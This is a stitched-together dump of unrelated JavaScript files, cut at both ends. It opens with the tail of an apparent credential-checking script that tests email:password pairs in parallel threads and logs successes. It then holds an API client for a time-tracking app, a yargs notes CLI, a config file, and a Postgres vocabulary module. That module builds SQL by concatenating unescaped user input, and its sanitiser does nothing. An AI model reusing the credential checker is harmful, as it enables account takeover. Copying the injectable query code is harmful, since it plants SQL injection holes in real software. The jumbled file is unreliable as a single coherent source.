console.log(`[+] SUCCESS: ${email}:${pass}`) }else{ console.log(`[-] fail: ${email}:${pass}`) } threads -= 1 thread_api() }) } function thread_api(){ while((start_index <= end_index) && (threads <= threads_limit)){ is_email_valid(emails[start_index]) start_index += 1 threads += 1 } } if(process.argv[2].indexOf('@') !== -1){ emails.push(process.argv[2]) end_index = 0 thread_api() }else{ emails = fs.readFileSync(process.argv[2], 'utf8').split('\n'); emails = emails.filter(function (str) { return str.indexOf('@') !== -1; }) end_index = emails.length - 1 thread_api() }
import axios from "axios"; import { getToken } from "../helpers/helper"; const AUTH_HEADER = () => ({ headers: { Authorization: "Bearer " + getToken(), }, }); const URL = process.env.NODE_ENV === "development" ? "http://localhost:4000" : "https://clockon-api.herokuapp.com"; // ----- USERS ----- const register = (newUser) => { return axios .post(`${URL}/register`, { user: newUser }) .then((res) => res.data); }; const login = (email, password) => { return axios .post(`${URL}/login`, { email, password, }) .then((res) => res.data); }; const getUser = () => { return axios.get(`${URL}/user`, AUTH_HEADER()).then((res) => res.data); }; const destroyUser = () => { return axios.delete(`${URL}/user`, AUTH_HEADER()); }; // ----- SETTINGS ----- const updateBillableRates = (previousRate, newRate) => { return axios .post( `${URL}/projects/rates/update`, { project: { billable_rate: newRate, previous_rate: previousRate } }, AUTH_HEADER() ) .then((res) => res.data); }; // ----- DASHBOARD ----- const getDash = () => { return axios.get(`${URL}/dash`, AUTH_HEADER()).then((res) => res.data); }; const updateDash = (query) => { return axios .get(`${URL}/dash/${query}`, AUTH_HEADER()) .then((res) => res.data); }; // ----- CLIENTS ----- const getClients = () => { return axios.get(`${URL}/clients`, AUTH_HEADER()).then((res) => res.data); }; const getClient = (id) => { return axios .get(`${URL}/clients/${id}`, AUTH_HEADER()) .then((res) => res.data); }; const destroyClient = (id) => { return axios .delete(`${URL}/clients/${id}`, AUTH_HEADER()) .then((res) => res.data); }; const addClient = (clientDetails) => { const { name, contact, email } = clientDetails; return axios .post( `${URL}/clients`, { client: { name, contact, email, active: true, }, }, AUTH_HEADER() ) .then((res) => res.data); }; const updateClient = (clientDetails) => { const { id, name, contact, email, active } = clientDetails; return axios .put( `${URL}/clients/${id}`, { client: { name, contact, email, active, }, }, AUTH_HEADER() ) .then((res) => res.data); }; // ----- PROJECTS ----- const getProjects = () => { return axios.get(`${URL}/projects`, AUTH_HEADER()).then((res) => res.data); }; const getProject = (id) => { return axios .get(`${URL}/projects/${id}`, AUTH_HEADER()) .then((res) => res.data); }; const addProject = (projectDetails) => { const { name, color, billable, clientId, dueDate, billableRate } = projectDetails; return axios .post( `${URL}/projects`, { project: { name, color, billable, hours: 0, active: true, client_id: clientId, due_date: dueDate, billable_rate: billableRate, }, }, AUTH_HEADER() ) .then((res) => res.data); }; const destroyProject = (id) => { return axios .delete(`${URL}/projects/${id}`, AUTH_HEADER()) .then((res) => res.data); }; const updateProject = (projectDetails) => { const { id, name, color, billable, active, clientId, dueDate, billableRate } = projectDetails; return axios .put( `${URL}/projects/${id}`, { project: { name, color, billable, active, client_id: clientId, due_date: dueDate, billable_rate: billableRate, }, }, AUTH_HEADER() ) .then((res) => res.data); }; // ----- TASKS ----- const createTask = (task) => { return axios .post( `${URL}/tasks/${task.project_id}`, { task: { ...task, completed: false, }, }, AUTH_HEADER() ) .then((res) => res.data); }; const updateTask = (task) => { return axios .put( `${URL}/tasks/${task.project_id}/${task.id}`, { task: { ...task, }, }, AUTH_HEADER() ) .then((res) => res.data); }; const destroyTask = (projectId, taskId) => { return axios .delete(`${URL}/tasks/${projectId}/${taskId}`, AUTH_HEADER()) .then((res) => res.data); }; // ----- EXPENSES ----- const createExpense = (expense) => { return axios .post( `${URL}/expenses/${expense.project_id}`, { ...expense, }, AUTH_HEADER() ) .then((res) => res.data); }; const updateExpense = (expense, receipt = null) => { let toSend; if (receipt) { toSend = new FormData(); Object.entries(expense).forEach(([key, value]) => { toSend.append(key, value); }); toSend.append("receipt", receipt); } return axios .put( `${URL}/expenses/${expense.project_id}/${expense.id}`, receipt ? toSend : { ...expense }, AUTH_HEADER() ) .then((res) => res.data); }; const destroyExpense = (projectId, expenseId) => { return axios .delete(`${URL}/expenses/${projectId}/${expenseId}`, AUTH_HEADER()) .then((res) => res.data); }; const purgeReceipt = (expense) => { return axios .delete(`${URL}/receipt/${expense.project_id}/${expense.id}`, AUTH_HEADER()) .then((res) => res.data); }; // ----- WORK PERIODS ----- const getWorkPeriods = () => { return axios.get(`${URL}/work`, AUTH_HEADER()).then((res) => res.data); }; const createWorkPeriod = (workPeriod) => { return axios .post( `${URL}/work/${workPeriod.project_id}`, { work_period: { ...workPeriod, invoiced: false }, }, AUTH_HEADER() ) .then((res) => res.data); }; const destroyWorkPeriod = (projectId, id) => { return axios .delete(`${URL}/work/${projectId}/${id}`, AUTH_HEADER()) .then((res) => res.data); }; const invoiceWorkPeriods = (projectId) => { return axios .get(`${URL}/work/${projectId}/invoice`, AUTH_HEADER()) .then((res) => res.data); }; const workPeriodsForInvoice = (projectId) => { return axios .get(`${URL}/work/${projectId}/invoice-creation`, AUTH_HEADER()) .then((res) => res.data); }; export { register, login, destroyUser, getDash, updateDash, getClients, getClient, destroyClient, updateClient, addClient, getProjects, getProject, addProject, destroyProject, updateProject, createTask, updateTask, destroyTask, createExpense, updateExpense, destroyExpense, getWorkPeriods, createWorkPeriod, destroyWorkPeriod, getUser, invoiceWorkPeriods, workPeriodsForInvoice, purgeReceipt, updateBillableRates, };
// const fs=require('fs'); // fs.writeFileSync('notes.txt','hello'); // // console.log(fs.readFileSync('notes.txt')) // console.log(fs.readFileSync('notes.txt').toString()) // fs.appendFileSync("notes.txt", " Good Morning EveryBody"); // console.log(fs.readFileSync('notes.txt').toString()) // const x =require('./data'); // console.log(x.add(4,8)); /////////////////// // const validator=require('validator') // console.log(validator.isEmail('eman@gmail.com')) // ///////////// // const chalk = require('chalk'); // console.log(chalk.bgMagenta('Hello world!')); // console.log(chalk.bold('Hello world!')); // const { describe } = require("yargs"); //v 1 // const yargs = require("yargs"); // yargs.command({ // command:'add', // describe:'add Notes', // handler:()=>{ // console.log('add notes') // } // }) // // }) // // console.log(yargs.argv) // // yargs.parse() // //const yargs = require("yargs"); // yargs.command({ // command:'read', // describe:'read Notes', // handler:()=>{ // console.log('read notes') // } // }) // // }) // // console.log(yargs.argv) // // const yargs1 = require("yargs"); // yargs.command({ // command:'delete', // describe:'delete Notes', // handler:()=>{ // console.log('delete notes') // } // }) // // console.log(yargs.argv) // // const yargs = require("yargs"); // yargs.command({ // command:'list', // describe:'list Notes', // handler:()=>{ // console.log('list notes') // } // }) // // console.log(yargs.argv) // yargs.parse() ///////////// const notes=require('./notes') const yargs = require("yargs"); yargs.command({ command:'add', describe:'add Notes', builder:{ title:{ describe:'this is add title', demandOption:true, type:'string' }, body:{ describe:'this is add body', demandOption:true, type:'string' }, }, handler:(argv)=>{ // console.log(argv.title) // console.log(argv.body) notes.add(argv.title,argv.body) } }) // }) // console.log(yargs.argv) // yargs.parse() //const yargs = require("yargs"); yargs.command({ command:'read', describe:'read Notes', builder:{ title:{ describe:'this is read title', demandOption:true, type:'string' }, }, handler:(argv)=>{ notes.read(argv.title) // console.log('reading notes title',argv.title) } }) // }) // console.log(yargs.argv) // const yargs1 = require("yargs"); yargs.command({ command:'delete', describe:'delete Notes', builder:{ title:{ describe:'this is read title', demandOption:true, type:'string' }, }, handler:(argv)=>{ // console.log('deleting notes title',argv.title) notes.del(argv.title) } }) // console.log(yargs.argv) // const yargs = require("yargs"); yargs.command({ command:'list', describe:'list Notes', handler:(argv)=>{ notes.list(argv) // console.log('list notes') } }) console.log(yargs.argv) // yargs.parse()
const dev = process.env.NODE_ENV === 'development' export default { API_URL: dev ? 'https://api2.accenturejumpstart.com/callcenter-dev/' : 'https://api2.accenturejumpstart.com/callcenter/', softCall: 'https://accenturejumpstart-dev.awsapps.com/connect/ccp#/', }
var async = require('async'), Link = require('./link.js'), SQL = require('../lib/happy/sqllib.js');; module.exports.lessonSize = 80; var SQL_SELECT_WORD = 'SELECT link, word, lang,' + 'word.version as version' + ' FROM word ' function WORDS(pg, lesson){ var langs = []; var actual = true; var sql = new SQL.SqlLib('link'); var user = -1; var _words = this; this.setUser = function(usr){ user=usr; return _words; } this.addLang = function (lang){ langs.push(lang); return _words; }; this.question = function(fields, onlyUser, cb){ if(!cb){ cb = onlyUser; onlyUser = false; } sql = new SQL.SqlLib('question_status_t qs'); sql.join('link','qs.link=link.lid'); fields.push('qs.status as qstatus'); var indexOfUserStatusInFields = fields.indexOf('@userstatus'); if(indexOfUserStatusInFields != -1){ //fields.push('CASE WHEN (SELECT 1 FROM question_t WHERE link )'); //fields.push('qm.changed as qmchanged'); //fields.push('(SELECT MAX(question_t.changed) FROM question_t WHERE question_t.link=link.lid AND question_t.usr='+user+') AS userpresed') fields[indexOfUserStatusInFields] = 'CASE WHEN (SELECT MAX(question_t.changed) FROM question_t WHERE question_t.link=link.lid AND question_t.usr='+user+') IS NOT NULL THEN (qs.status+100) ELSE COALESCE(qs.status, 0) END AS userstatus'; //sql.joinRight('question_t qm','qm.link=qs.link AND qm.usr='+user); } if(indexOfUserStatusInFields){ } sql.addOrderBy('qs.changed desc'); //sql.whereAnd('qs.status IS NOT NULL'); if(onlyUser){ sql.whereAnd('(SELECT MAX(question_t.changed) FROM question_t WHERE question_t.link=link.lid AND question_t.usr='+user+') IS NOT NULL'); } //fields.push('qs.status as qstatus'); //fields.push('qm.changed as qmchanged'); //fields.push('CASE WHEN qm.changed IS NOT NULL THEN (qs.status+100) ELSE COALESCE(qs.status, 0) END AS userstatus'); this.getInner(fields, cb); } this.get = function(fields, cb, notDeletedAndNotUnaproved){ // question are ordered by date time changed sql.addOrderBy('link.lid'); var indexOfUserStatusInFields = fields.indexOf('@userstatus'); if(indexOfUserStatusInFields != -1){ fields.push('qs.status as qstatus'); fields.push('qm.changed as qmchanged'); fields[indexOfUserStatusInFields] = 'CASE WHEN qm.changed IS NOT NULL THEN (qs.status+100) ELSE COALESCE(qs.status, 0) END AS userstatus' } if(fields.indexOf('qs.status as qstatus') != -1 || indexOfUserStatusInFields > -1){ sql.join('question_status_t qs','qs.link=link.lid'); } if(fields.indexOf('qm.changed as qmchanged') != -1 || indexOfUserStatusInFields > -1){ sql.join('question_t qm','qm.link=qs.link AND qm.usr='+user); } if(notDeletedAndNotUnaproved === true){ sql.whereAnd('del=0') ; //sql.whereAnd('(flag=1 OR flag=4)') ; } this.getInner(fields, cb); } /* type = -1 - all 0 - waiting 1 - approved 2 - disaproved 4 - system */ this.approveImages = function(fields, type, cb){ // question are ordered by date time changed //sql.addOrderBy('link.lid'); var indexOfUserStatusInFields = fields.indexOf('@userstatus'); if(indexOfUserStatusInFields != -1){ fields.push('qs.status as qstatus'); fields.push('qm.changed as qmchanged'); fields[indexOfUserStatusInFields] = 'CASE WHEN qm.changed IS NOT NULL THEN (qs.status+100) ELSE COALESCE(qs.status, 0) END AS userstatus' } if(fields.indexOf('qs.status as qstatus') != -1 || indexOfUserStatusInFields > -1){ sql.join('question_status_t qs','qs.link=link.lid'); } if(fields.indexOf('qm.changed as qmchanged') != -1 || indexOfUserStatusInFields > -1){ sql.join('question_t qm','qm.link=qs.link AND qm.usr='+user); } if(user > -1){ sql.whereAnd('link.usr=', user); } if(type > -1) { sql.whereAnd('link.flag=',type); } sql.whereAnd('link.image IS NOT NULL'); sql.addOrderBy('link.flag'); this.getInner(fields, cb); } this.getInner = function(fields, cb){ if(!fields){ cb('fields missing'); return; } if(fields.indexOf('image.image as imagefile') != -1){ sql.join('image','link.image=image.iid'); } if(lesson){ sql.whereAnd('link.lesson=',lesson); } if(actual){ sql.whereAnd('link.version=0'); } if(langs.length == 1){ var joinClausole = 'word.link=link.lid AND word.lang=\'' + langs[0] + '\''; //DELETED: sql.whereAnd('word.lang=',langs[0]); // must be on join clausole othervise if you open lang cz and es // and some words missing in 'es' or 'cz' you will not see empty fields // just will se the words which they match if(actual){ joinClausole += ' AND word.version=0' // DELETED: sql.whereAnd('word.version=0'); // same reason as top } sql.join('word', joinClausole); } else if(langs.length > 1){ langs.forEach(function(lang,midx){ var idx = midx + 1; var joinClausole = 'word'+idx+'.link=link.lid AND word'+idx+'.lang=\'' + lang+ '\''; //DELETED: sql.whereAnd('word'+idx+'.lang=',lang); // must be on join clausole othervise if you open lang cz and es // and some words missing in 'es' or 'cz' you will not see empty fields // just will se the words which they match if(actual){ joinClausole += ' AND word'+idx+'.version=0' //DELETED: sql.whereAnd('word'+idx+'.version=0'); // same reason as top } sql.join('word as word'+idx, joinClausole); }); var newFields = []; fields.forEach(function(f,idx){ if(isWordsFields(f)){ langs.forEach(function(lang,mlidx){ var lidx =mlidx +1; // convert word.col -> word1.col var fnew = f.replace('word.','word'+lidx+'.'); // convert word -> word1.word fnew = fnew.replace('word','word'+lidx+'.word'); // convert lang -> word1.lang fnew = fnew.replace('lang','word'+lidx+'.lang'); // convert version -> word1.version fnew = fnew.replace('version','word'+lidx+'.version'); // convert record -> word1.record fnew = fnew.replace('record','word'+lidx+'.record'); // convert word1.col as col -> word1.col as col1 if(fnew.toLowerCase().indexOf(' as ') > 0){ fnew += lidx; } else { // convert: word1.col -> word1.col as col1 fnew += ' AS ' + fnew.split('.')[1] + lidx; } newFields.push(fnew); }); } else { //var linkIdx = f.indexOf('link'); if(f == 'link'){ f = 'lid as link'; } newFields.push(f); } }); fields = newFields; } sql.fields(fields).select(pg, cb); }; function isWordsFields(field){ if(typeof(String.prototype.trim) === "undefined") { String.prototype.trim = function() { return String(this).replace(/^\s+|\s+$/g, ''); }; } field = field.trim(); if(field.indexOf('word.') == 0){ return true; } var wordFields = ['word','lang','record','version']; var found = false; wordFields.some(function(val){ found = field.indexOf(val) == 0; return found; }); return found; } return this; }; module.exports.WORDS = WORDS; module.exports.getWords = function(pgClient, lang, lesson, colums, cb, notDeletedAndNotApproved) { if(!cb){ cb = colums; colums = null; } if(!pgClient){ cb(null); return; } if(lesson < 1){ console.log('index lesson from 1 current :', lesson); return cb(null); } if(!lang || typeof lang !== 'string'){ console.log('lang is not defined or isn\' in good format :', lang); return cb('lang is not defined or isn\' in good format :'); } if(!colums) { colums = ['link','lang','word','word.version as version']; } new module.exports.WORDS(pgClient, lesson).addLang(lang).get(colums, function(err,data){ cb(data); }, notDeletedAndNotApproved); } module.exports.getImages = function(pgClient, lesson, colums, cb, notDeletedAndNotApproved) { if(!pgClient){ return cb('pgClient not setup', null); } if(!cb){ cb = colums; colums = null; } if(!colums){ colums = ['lid','description','image.image as imagefile','iid as imageid','image.thumb as thumbfile','version','del','flag']; } new module.exports.WORDS(pgClient, lesson).get(colums, cb, notDeletedAndNotApproved); } module.exports.getWordWithHistory = function(pgClient, lang, link, cb){ var sql = SQL_SELECT_WORD + ' WHERE lang = $1 and link = $2'; console.log(sql); console.log(lang); console.log(link); pgClient.query(sql, [lang, link], function(err, data){ if(err){ cb(err, null); } else { cb(err, data.rows); } }); } module.exports.updateWord = function(pgClient, wordForUpdate, userId, cb) { if(!pgClient){ return cb('pgClient not setup', null); } console.log(wordForUpdate); if(!wordForUpdate || !wordForUpdate.link || !wordForUpdate.lang || !wordForUpdate.word || !wordForUpdate.record){ return cb('wordForUpdate must contains : link, lang, word, record', false); } wordForUpdate.record = wordForUpdate.record.substring(0, 50); // #RECORD EDIT: // remove record because otherwise when you are add word // and system trying if is word in db and because the // record will be in system differend when the record on update word // system will add new word with new version but only change will be the record // this record also will be recorded in word from second language // which will be created (in add proces are contain booth words - w1 and w2) var sqlTest = 'SELECT version FROM word' + ' WHERE lang = $1 AND link = $2 AND word = $3' // AND record = $4 var sqlTestValues = [wordForUpdate.lang, wordForUpdate.link, wordForUpdate.word]; //, wordForUpdate.record]; function retAllVersion(err, results){ if(!err){ module.exports.getWordWithHistory(pgClient, wordForUpdate.lang, wordForUpdate.link, function(err, data){ cb(err, data); }); } else { cb(err, false); } } pgClient.query(sqlTest, sqlTestValues, function(err, data){ if(err) { cb(err, false); } else if(data.rows.length == 0){ createNewWordAndSetNewVersionToOld(pgClient, wordForUpdate, userId, retAllVersion); } else { reuseOldVersion(pgClient, wordForUpdate, retAllVersion); } }); } function reuseOldVersion(pgClient, wordForUpdate, cb){ function updateActualWordToNewVersion(cb){ updateVersionToWord(pgClient, wordForUpdate, cb) } function updateOldWordToVersion0(cb){ updateVersionToWord(pgClient, wordForUpdate, 0, cb) } console.log(wordForUpdate); async.series([ updateActualWordToNewVersion , updateOldWordToVersion0 ], cb); } function updateVersionToWord(pgClient, wordForUpdate, version, cb){ var updateWhere = ' WHERE lang = $1 AND link = $2'; var getMaxVersion = ''; var sqlParams = [ wordForUpdate.lang, wordForUpdate.link]; if(!cb){ cb = version; // count version from last one getMaxVersion = '(SELECT max(version)+1 FROM word' + updateWhere + ')'; // must be after getMaxVersion updateWhere += ' AND version = 0'; } else { // ---------------- // version to value getMaxVersion = '$3'; sqlParams.push(version); // specified words to update version if(wordForUpdate.word){ updateWhere += ' AND word = $4' sqlParams.push(wordForUpdate.word); } else { cb('you can not update specific word version without wordForUpdate.word', null); } // LOOK TO : #RECORD EDIT: // if(wordForUpdate.record){ // updateWhere += ' AND record = $5' // sqlParams.push(wordForUpdate.record); // } } var updateVersion = 'UPDATE word SET version=' + getMaxVersion; if(version == 0) { updateVersion += ',uts=now()'; } updateVersion += updateWhere; console.log(updateVersion, sqlParams); pgClient.query(updateVersion, sqlParams, function(err, data){ if(err) { cb(err, null); } else { cb(err, data); } }); } function createNewWordAndSetNewVersionToOld(pgClient, wordForUpdate, userId, cb) { function updateUsageWord(cb){ updateVersionToWord(pgClient, wordForUpdate, cb) } function insertNew(cb){ var insertSql = 'INSERT INTO word ' + '(lang, link, word, usr, record) ' + 'VALUES' + '($1, $2, $3, $4, $5)'; var sqlData = [wordForUpdate.lang, wordForUpdate.link, wordForUpdate.word, userId, wordForUpdate.record]; console.log(insertSql, sqlData); pgClient.query(insertSql, sqlData, function(err, data){ if(err) { cb(err, null); } else { cb(err, data); } }); } async.series([ updateUsageWord, insertNew ], cb) ; } module.exports.getWordsWithImages = function(pgClient, langs, lesson, colums, cb){ var asyncLangsLoad = []; if(!cb){ cb = colums; colums = null; } if(!colums){ colums = [null, null]; } asyncLangsLoad.push(function(callback){ module.exports.getImages(pgClient, lesson, colums[0], function(err, images){ callback(err, images); }, true); }); langs.forEach(function(val, idx){ asyncLangsLoad.push(function(callback){ module.exports.getWords(pgClient, val, lesson, colums[1], function(words){ callback(null, words); }, true); }); }); async.parallel(asyncLangsLoad, cb); } /** * * @param pg * @param lang * [ 'lang 1', 'lang 2' * ] * @param searchWords * [ * 'link_of_search_word 1', * 'link_of_search_word 2', * ... * ] * * * * * @param cb(err, data) * [ * 'link_of_search_word' : { s: lesson, lid: current_link, w1: 'word in lang 1', w2: 'word in lang 2' }, * 'link_of_search_word' : { s: 2004, lid: 1125, w1: 'Osmý 8.', w2: 'achte 8.' }, * 'link_of_search_word' : { s: 4001, lid: 2039, w1: 'Litva', w2: 'zerstören' }, * 'link_of_search_word' : { s: 4001, lid: 2099, w1: 'Litva', w2: 'stattfinden' } * ] */ module.exports.getRepeatWords = function(pg, langs, searchWords, cb){ var sql = ''; var err = ''; searchWords.forEach(function(sw, idx){ if(sql.length > 0) { sql += ' UNION '; } var w0 = sw[0]; var w1 = sw[0]; sql += '(SELECT link.lesson as s, link.lid,' + idx + " AS idx" + ',link.description as d,' + ' (word1.word) as w1, word2.word as w2' + ' FROM link' + ' JOIN word as word1 ON word1.link = link.lid' + ' JOIN word as word2 ON word2.link = link.lid' + ' WHERE' + ' link.del < 1' + ' AND word1.lang = $1' + ' AND word2.lang = $2' + ' AND word1.version=0' + ' AND word2.version=0' + ' AND ' + '(' + '(lower(word1.word) SIMILAR TO' + " '(% )?("+w0+")')" + 'OR (lower(word1.word) SIMILAR TO' + " '(% )?("+w1+")')" + ')' + ' LIMIT 6)'; //return false; }); if(!err) { pg.query(sql, langs, function(err, data){ if(err){ console.log(err, sql); cb(err); } else { console.log(data, sql); var result = {}; data.rows.forEach(function(rw){ result[rw.idx] = []; }); data.rows.forEach(function(rw){ result[rw.idx].push({ s : rw.s, l : rw.lid, w1 : rw.w1, w2 : rw.w2, d: rw.d }); }); cb(err, result); } }) ; } else { return cb(err); } } // http://phpjs.org/functions/addslashes/ function cleanTextForSql(textData){ return (textData + '').replace(/'/g, '$&'); } /** * * @param pg * @param addWords * @param cb */ module.exports.addWord = function(pg, addWord, userId, cb){ var errInfo = ''; if(!addWord){ errInfo = 'required parameter addWord is empty'; } else { if(!addWord.n1){ errInfo += 'missing param n1 (lang1)\n'; } if(!addWord.w1){ errInfo += 'missing param w1\n'; } if(!addWord.r1){ errInfo += 'missing param r1 (record1)\n'; } if(!addWord.r2){ errInfo += 'missing param r2 (record2)\n'; } if(!addWord.n2){ errInfo += 'missing param n2 (lang1)\n'; } if(!addWord.w2){ errInfo += 'missing param w2\n'; } if(!addWord.s && !addWord.l){ errInfo += 'missing param s (lesson) or l (link)\n'; } if(!addWord.d){ errInfo += 'missing param d (description)\n'; } } addWord.w1 = cleanTextForSql(addWord.w1); addWord.w2 = cleanTextForSql(addWord.w2); //console.log(errInfo); if(errInfo){ return cb(errInfo); } if(addWord.l){ Link.update(pg, userId, {lid:addWord.l, description: addWord.d}, function(err, data){ //console.log(data); //console.log('error:',err, ); if(!data[0]) { cb('link does not exists!'); } addWordFromLink(pg, addWord, userId, cb); }); } else { var sql = 'INSERT INTO link (lid,lesson,description,usr'; if(addWord.sentence){ sql+= ',issentence' } sql += ') VALUES ((SELECT max(lid) + 1 FROM link),$1,$2,$3'; if(addWord.sentence){ sql+= ',TRUE' } sql += ') RETURNING lid, description'; var sqlData = [addWord.s, addWord.d, userId]; pg.query(sql, sqlData, function(err, linkData){ var resultWord = {}; console.log('error:',err, linkData ); if(err) { cb('link does not created!'); } else{ addWord.l = linkData.rows[0].lid; addWord.d = linkData.rows[0].description; addWordFromLink(pg, addWord, userId, cb); } }); } //updateDescription(pg, addWord.l, addWord) } module.exports.usage = function(pg, usages, cb){ if(!usages || typeof usages !== 'object'){ cb('usage is not a object'); } var parallel = []; for(usage in usages){ parallel.push(generateUpdate(usage, usages[usage])); } function generateUpdate(usage, links){ return function(icb){ var sql = new SQL.SqlLib('link'); sql.whereAnd('lid IN (' + links.join(',') + ')'); var cd1 = 'usage=coalesce(usage,0)+'+usage+''; var ud = {}; ud[cd1] = null; sql.update(pg, ud, icb); } } async.parallel(parallel, function(err){ // update all link with negative usage // just for sure var sql = new SQL.SqlLib('link'); sql.whereAnd('usage<=0'); var ud = {'usage' : null}; sql.update(pg, ud, function(e,d){ cb(e, {}); }); }) } module.exports.search = function(pg, search, cb){ if(!search.words || !search.words.length) { cb('word missing or is not array'); cb(); } searchOrLinks(pg, search, cb); } module.exports.links = function(pg, search, cb){ if(!search.links || !search.links.length) { cb('links missing or is not array'); cb(); } searchOrLinks(pg, search, function(err, data){ if(err){ cb(err); return ; } // data are in format (because search could have for one word more rows) // data[0] // words[0] // data[1] // word[0] // from link is not possible - simplify it var ret = []; data.forEach(function(d){ ret.push(d[0]); }); cb(err, ret); }); } function searchOrLinks(pg, search, cb){ if(!search.lang){ cb('lang is missing'); return; } if(!search.fields){ search.fields = ['lid'] } var indexOfWord = search.fields.indexOf('word'); if(indexOfWord > -1){ search.fields[indexOfWord] = 'word1.word as word' } // if you want the word with two languages var indexOfWord2 = search.fields.indexOf('word2'); if(indexOfWord2 > -1){ search.fields[indexOfWord2] = 'word2.word as word2' if(!search.lang2){ cb('you need field word2 but lang2 is missing'); return; } } // if you want the word also in eng language var indexOfEngllish = search.fields.indexOf('english'); if(indexOfEngllish > -1){ search.fields[indexOfEngllish] = 'word3.word as english' } var indexOfDesc = search.fields.indexOf('desc'); if(indexOfDesc > -1){ search.fields[indexOfDesc] = 'link.description as desc' } var parallel = []; // if contain words is standart search function if(search.words){ search.words.forEach(function(word){ parallel.push(function(icb){ return searchWord(icb, word); }) }); } // if contain links is standart get function if(search.links){ search.links.forEach(function(link){ parallel.push(function(icb){ return searchWord(icb, null, link); }) }); } async.parallel(parallel, cb); function searchWord(icb, word, link){ var sql = new SQL.SqlLib('link', search.fields); sql.join('word as word1', 'word1.link = link.lid'); sql.whereAnd('link.del < 1'); sql.whereAnd('word1.lang =\''+search.lang+'\''); sql.whereAnd('link.version =0'); sql.whereAnd('word1.version =0'); if(!search.sentenceOnly){ sql.whereAnd('(link.issentence IS NULL OR link.issentence=false)'); } else { sql.whereAnd('link.issentence=true'); } if(word){ var searchString; if(!search.properly){ searchString = "(% )?("+word+")"; } else { searchString = "(%)?("+word+")(%)?"; } sql.whereAnd("(lower(word1.word) SIMILAR TO '"+searchString.toLowerCase()+"')"); } if(link){ sql.whereAnd("lid="+link); } if(indexOfWord2){ sql.join('word as word2', 'word2.link = link.lid AND word2.lang =\''+search.lang2+'\' AND word2.version=0'); } if(indexOfEngllish){ sql.join('word as word3', 'word3.link = link.lid AND word3.lang =\'en\''); sql.whereAnd('word3.version =0'); } sql.addOrderBy('usage ASC') sql.select(pg, icb); } } module.exports.sentenceCreate = function(pg, dataContainer, userId, cb){ var watter = []; if(!dataContainer.sentence || !dataContainer.english || !dataContainer.lang || !dataContainer.toLink){ cb('dataContainer must contain sentence,english,lang,toLink') return; } //dataContainer.lang = dataContainer.lang == 'cz' ? 'cs' : dataContainer.lang; watter.push(function(icb){ var word = { n1 : 'en', n2 : dataContainer.lang, w1 : dataContainer.english, w2 : dataContainer.sentence, r1 : 'en|'+dataContainer.sentence, r2 : dataContainer.lang + '|' + dataContainer.sentence, s : 1088, d : dataContainer.english, sentence : true }; module.exports.addWord(pg, word, userId, icb); }); watter.push(function(data, icb){ var sql = 'INSERT INTO link_sentence_t (word,sentence)'; sql += ' VALUES ($1,$2)'; var sqlData = [dataContainer.toLink, data.l]; pg.query(sql, sqlData, function(err, idata){ if(err){ icb(err); return; } icb(err, data); }) }) async.waterfall(watter, cb) } module.exports.sentenceUpdate = function(pg, dataContainer, userId, cb){ var parallel = []; if(dataContainer.lang && dataContainer.sentence){ parallel.push(function(icb){ // record should have previous word var updateWord = { word : dataContainer.sentence ,lang : dataContainer.lang ,link : dataContainer.link ,record : /* TODO: previous word */ dataContainer.sentence + '|'+dataContainer.lang+'|' }; module.exports.updateWord(pg, updateWord, userId, icb); }); } if(dataContainer.english){ parallel.push(function(icb){ // record should have previous word var updateWord = { word : dataContainer.english ,lang : 'en' ,link : dataContainer.link ,record : /* TODO: previous word */ dataContainer.english + '|en|' }; module.exports.updateWord(pg, updateWord, userId, icb); }); parallel.push(function(icb){ var linkData = { lid : dataContainer.link, description: dataContainer.english } Link.update(pg, userId, linkData, icb); }); } if(dataContainer.toLink && dataContainer.link){ parallel.push(function(icb){ var sql = SQL.SqlLib('link_sentence_t'); sql.whereAnd('sentence=' + dataContainer.link + ' AND word=' +dataContainer.toLink); var data = {'sentence':dataContainer.link,word:dataContainer.toLink}; var returning = ['sentence','word']; sql.upsert(pg,data,returning, icb) }); } if(parallel && parallel.length){ async.parallel(parallel, cb) } else { cb('no params for procesesd, possible params (link && linkTo) or/add (english && link) or/add (sentence && lang && link)') } } module.exports.sentenceRemove = function(pg, dataContainer, userId, cb){ var watter = []; if(!dataContainer.link || !dataContainer.toLink){ cb('link or toLink parameter mising') return ; } watter.push(function(icb){ pg.query('DELETE FROM link_sentence_t WHERE sentence=$1 and word=$2',[dataContainer.link, dataContainer.toLink], function(err, sdata){ icb(); }); }) watter.push(function(icb){ var sql = new SQL.SqlLib('link_sentence_t',['count(*)']); sql.whereAnd('sentence=' + dataContainer.link); sql.select(pg, icb); }); watter.push(function(rowcount, icb){ if(rowcount[0].count){ Link.deleteLink(pg, [dataContainer.link], userId, icb); } else { icb(); } }); async.waterfall(watter, cb); } module.exports.sentencesGet = function(pg, dataContainer, cb){ if(!dataContainer.toLinks || !dataContainer.lang){ cb('missing toLinks or lang') } //dataContainer.lang = dataContainer.lang == 'cz' ? 'cs' : dataContainer.lang; if(!dataContainer.fields){ dataContainer.fields = ['s','e','l', 's2'] } var watter = [] var groupFields = [] // first load all sentences related to word links watter.push(function(icb){ var sql = new SQL.SqlLib('link_sentence_t',dataContainer.fields); var indexOfSentence = dataContainer.fields.indexOf('s'); if(indexOfSentence > -1){ dataContainer.fields[indexOfSentence] = 'word.word as s' groupFields.push('s'); } var indexOfSentence = dataContainer.fields.indexOf('s2'); if(indexOfSentence > -1){ dataContainer.fields[indexOfSentence] = 'word2.word as s2' sql.join('word word2', 'link_sentence_t.sentence=word2.link AND word2.version=0 AND word2.lang=\'' + dataContainer.lang2 + '\'') groupFields.push('s2'); } var indexOfEnglish = dataContainer.fields.indexOf('e'); if(indexOfEnglish > -1){ dataContainer.fields[indexOfEnglish] = 'wordEng.word as e' groupFields.push('e'); } var indexOfLink = dataContainer.fields.indexOf('l'); if(indexOfLink > -1){ dataContainer.fields[indexOfLink] = 'link_sentence_t.sentence as l' groupFields.push('l'); } if(indexOfEnglish > -1){ sql.join('word as wordEng', 'link_sentence_t.sentence=wordEng.link AND wordEng.version=0 AND wordEng.lang=\'en\'') } if(indexOfSentence > -1){ sql.join('word', 'link_sentence_t.sentence=word.link AND word.version=0 AND word.lang=\'' + dataContainer.lang + '\'') } sql.join('link', 'link_sentence_t.sentence=link.lid') // add uniq link generateUniqueLinks(); sql.whereAnd('link_sentence_t.word in (' + dataContainer.toLinks.join(',') + ')'); sql.whereAnd('link.del!=1') sql.addGroupBy(groupFields.join(',')); sql.select(pg, icb); }) // load word links to words watter.push(function(data, icb){ var parallel = []; data.forEach(function(sentence){ 